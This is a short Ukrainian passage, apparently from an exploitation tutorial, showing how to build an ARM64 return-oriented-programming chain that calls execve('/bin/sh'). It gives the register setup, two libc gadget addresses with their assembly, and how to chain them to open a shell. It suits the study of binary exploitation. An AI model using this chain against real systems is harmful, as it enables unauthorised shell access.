Щоб підготувати виклик для syscall, потрібна наступна конфігурація:
x8: 221 Вказати sys_execve
x0: ptr до "/bin/sh" вказати файл для виконання
x1: 0 вказати, що аргументи не передані
x2: 0 вказати, що змінні середовища не передані
Використовуючи ROPgadget.py, я зміг знайти наступні гаджети в бібліотеці libc машини:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
З попередніми гаджетами ми можемо контролювати всі необхідні регістри зі стеку та використовувати x5, щоб перейти до другого гаджета для виклику syscall.
Зверніть увагу, що знання цієї інформації з бібліотеки libc також дозволяє здійснити атаку ret2libc, але давайте використаємо це для цього поточного прикладу.